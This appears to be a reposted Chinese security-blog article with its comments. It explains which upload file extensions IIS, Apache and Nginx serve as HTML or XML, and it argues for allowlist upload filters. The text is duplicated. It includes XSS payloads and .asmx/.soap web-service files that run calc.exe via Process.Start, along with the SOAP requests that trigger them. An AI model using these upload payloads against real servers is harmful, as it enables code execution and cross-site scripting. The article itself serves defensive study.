血淋林的例子告诉你,为什么防“上传漏洞”要用白名单
2017-12-02 12:35
344 查看
一般来说,当你在写文件上传功能的代码时,你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名。
当我阅读了@Idionmarcil的【这篇文章】之后,我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。
首先,我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说,开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中,我要分析的对象将是一些使用没那么广泛的文件类型。
在本文中,用于演示的PoC Payload如下:
1. 基础XSS Payload:
2. 基于XML的XSS Payload:
下面,我将给大家介绍我的研究成果。
扩展名的基本向量:
因此,我们就可以将基础XSS向量复制到上传文件中,当我们打开文档之后,浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名,IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击:
默认配置下,IIS还会支持SSI,但是处于安全方面的考虑,Payload的执行可能会被禁止。
针对SSI的扩展:
如果你想了解更多关于SSI的详细信息,请参考@ldionmarcil的【这篇文章】。
除此之外,这里还有另外两个有趣的扩展名(.asmx和 .soap)同样能够允许我们实现任意代码执行,而这两个扩展名是Yury Aleinov发现的,感兴趣的同学可以访问@YuryAleinov的Twitter以获取更多信息。
2. 接下来,我们向上传的文档发送POST请求:
3. 大家可以看到,结果就是我们成功让IIS运行了“calc.exe”。
SOAP请求:
.html.de或.html.xxx (xxx 为任意字符)*
基于XML向量的后缀:
如果“.html.”后面跟有任意字符的话,Apache的响应信息中content-type为text/html。
需要注意的是,在处理很多不同类型的文件后缀时,Apache所返回的响应信息中可能会不包含Content-type头,而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时,不同浏览器的处理方法是不同的。比如说,Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似,而这类响应中是不包含Content-type头的,所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。
基于XML的向量后缀:
* 参考来源:mike-n1,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
Alpha_h4ck
341 篇文章 等级:
9级
|
|
上一篇:利用Burp Suite挖掘暗网服务的真实IP
下一篇: 本篇已是最新文章
发表评论
吃瓜群众 2017-12-01
回复
1楼
ISS Web服务器?
亮了(1)
001 2017-12-01
回复
2楼
的确是。。。。最近就找到一个类似这种情况的
亮了(0)
死宅10086
(7级) 这家伙太懒了,还未填写个人描述!
2017-12-01 回复
3楼
亮了(4)
aa 2017-12-01
回复
4楼
膜拜大神英语这么666666,我很喜欢你。。。
亮了(1)
3224 2017-12-01
回复
5楼
上传XSS一直以为比较鸡肋,没想到还能这么玩,学习了,赞一个
当我阅读了@Idionmarcil的【这篇文章】之后,我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。
首先,我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说,开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中,我要分析的对象将是一些使用没那么广泛的文件类型。
在本文中,用于演示的PoC Payload如下:
1. 基础XSS Payload:
<script>alert(1337)</script>
2. 基于XML的XSS Payload:
<a:scriptxmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>
下面,我将给大家介绍我的研究成果。
ISS Web服务器
默认配置下,ISS针对文件类型所返回的content-type为text/html,具体请看下面的列表:扩展名的基本向量:
.cer .hxt .htm
因此,我们就可以将基础XSS向量复制到上传文件中,当我们打开文档之后,浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名,IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击:
.dtd .mno .vml .xsl .xht .svg .xml .xsd .xsf .svgz .xslt .wsdl .xhtml
默认配置下,IIS还会支持SSI,但是处于安全方面的考虑,Payload的执行可能会被禁止。
针对SSI的扩展:
.stm .shtm .shtml
如果你想了解更多关于SSI的详细信息,请参考@ldionmarcil的【这篇文章】。
除此之外,这里还有另外两个有趣的扩展名(.asmx和 .soap)同样能够允许我们实现任意代码执行,而这两个扩展名是Yury Aleinov发现的,感兴趣的同学可以访问@YuryAleinov的Twitter以获取更多信息。
asmx后缀
1. 如果你可以上传后缀名为.asmx的文件,那你也许就可以通过它来实现任意代码执行。比如说,我们来看看下面这个文件的内容:<%@ WebService Language="C#"Class="MyClass" %> using System.Web.Services; using System; using System.Diagnostics; [WebService(Namespace="")] public class MyClass : WebService { [WebMethod] public string Pwn_Function() { Process.Start("calc.exe"); return "PWNED"; } }
2. 接下来,我们向上传的文档发送POST请求:
POST /1.asmx HTTP/1.1 Host: localhost Content-Type: application/soap+xml;charset=utf-8 Content-Length: 287 <?xml version="1.0"encoding="utf-8"?> <soap12:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <Pwn_Function/> </soap12:Body> </soap12:Envelope>
3. 大家可以看到,结果就是我们成功让IIS运行了“calc.exe”。
soap后缀
使用后缀.soap上传的文件内容如下:<%@ WebService Language="C#"Class="MyClass" %> using System.Web.Services; using System; public class MyClass : MarshalByRefObject { public MyClass() { System.Diagnostics.Process.Start("calc.exe"); } }
SOAP请求:
POST /1.soap HTTP/1.1 Host: localhost Content-Length: 283 Content-Type: text/xml; charset=utf-8 SOAPAction: "/" <?xml version="1.0"encoding="utf-8"?> <soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <MyFunction /> </soap:Body> </soap:Envelope>
Apache(httpd或Tomcat)
基础向量后缀:.shtml
.html.de或.html.xxx (xxx 为任意字符)*
基于XML向量的后缀:
.rdf .xht .xml .xsl .svg .xhtml .svgz
如果“.html.”后面跟有任意字符的话,Apache的响应信息中content-type为text/html。
需要注意的是,在处理很多不同类型的文件后缀时,Apache所返回的响应信息中可能会不包含Content-type头,而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时,不同浏览器的处理方法是不同的。比如说,Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似,而这类响应中是不包含Content-type头的,所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。
Nginx
基础向量后缀:.htm
基于XML的向量后缀:
.svg .xml .svgz
总结
本文对当前热门Web服务器处理各种文件后缀的方法进行了简单分析,如果你还想了解更多关于“利用文件后缀和Content-Type来发动XSS攻击”的详细内容,请参考这篇文章【传送门】。* 参考来源:mike-n1,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
Alpha_h4ck
341 篇文章 等级:
9级
|
|
上一篇:利用Burp Suite挖掘暗网服务的真实IP
下一篇: 本篇已是最新文章
发表评论
已有 5 条评论
吃瓜群众 2017-12-01
回复
1楼
ISS Web服务器?
亮了(1)
001 2017-12-01
回复
2楼
的确是。。。。最近就找到一个类似这种情况的
亮了(0)
死宅10086
(7级) 这家伙太懒了,还未填写个人描述!
2017-12-01 回复
3楼
亮了(4)
aa 2017-12-01
回复
4楼
膜拜大神英语这么666666,我很喜欢你。。。
亮了(1)
3224 2017-12-01
回复
5楼
上传XSS一直以为比较鸡肋,没想到还能这么玩,学习了,赞一个
相关文章推荐
- 血淋林的例子告诉你,为什么防“上传漏洞”要用白名单
- 转-送给“苦逼”的IT人系列3:多久跳一次槽?用一个朋友的例子告诉你,为什么你没有圈子。
- 送给“苦逼”的IT人:多久跳一次槽?用一个朋友的例子告诉你,为什么你没有圈子。
- Shop靶机上传漏洞实践 绕过白名单验证
- 漏洞告诉你:商家为什么都乐于提供免(diao)费(yu)WiFi?
- 送给“苦逼”的IT人系列3:多久跳一次槽?用一个朋友的例子告诉你,为什么你没有圈子。
- 送给“苦逼”的IT人系列3:多久跳一次槽?用一个朋友的例子告诉你,为什么你没有圈子。 .
- WEB安全:文件上传漏洞
- 文件上传漏洞及解析漏洞总结
- 西安尚学堂告诉你java开发为什么不要过分依赖框架
- php文件包含+伪协议+文件上传漏洞利用实例
- 一个简单的jQuery插件ajaxfileupload实现ajax上传文件例子
- 七牛上传的极简单例子
- 为什么招聘信息挂那么长,告诉你真相!
- 一个简单的jQuery插件ajaxfileupload实现ajax上传文件例子
- 服务器上传漏洞(转载)
- i春秋:警惕IIS6.0站上的解析缺陷绕过上传漏洞
- 解析漏洞讲解、filepath、content-type绕过检测上传文件
- 文件上传漏洞(绕过姿势) 转载防丢失
- PHP实现文件上传例子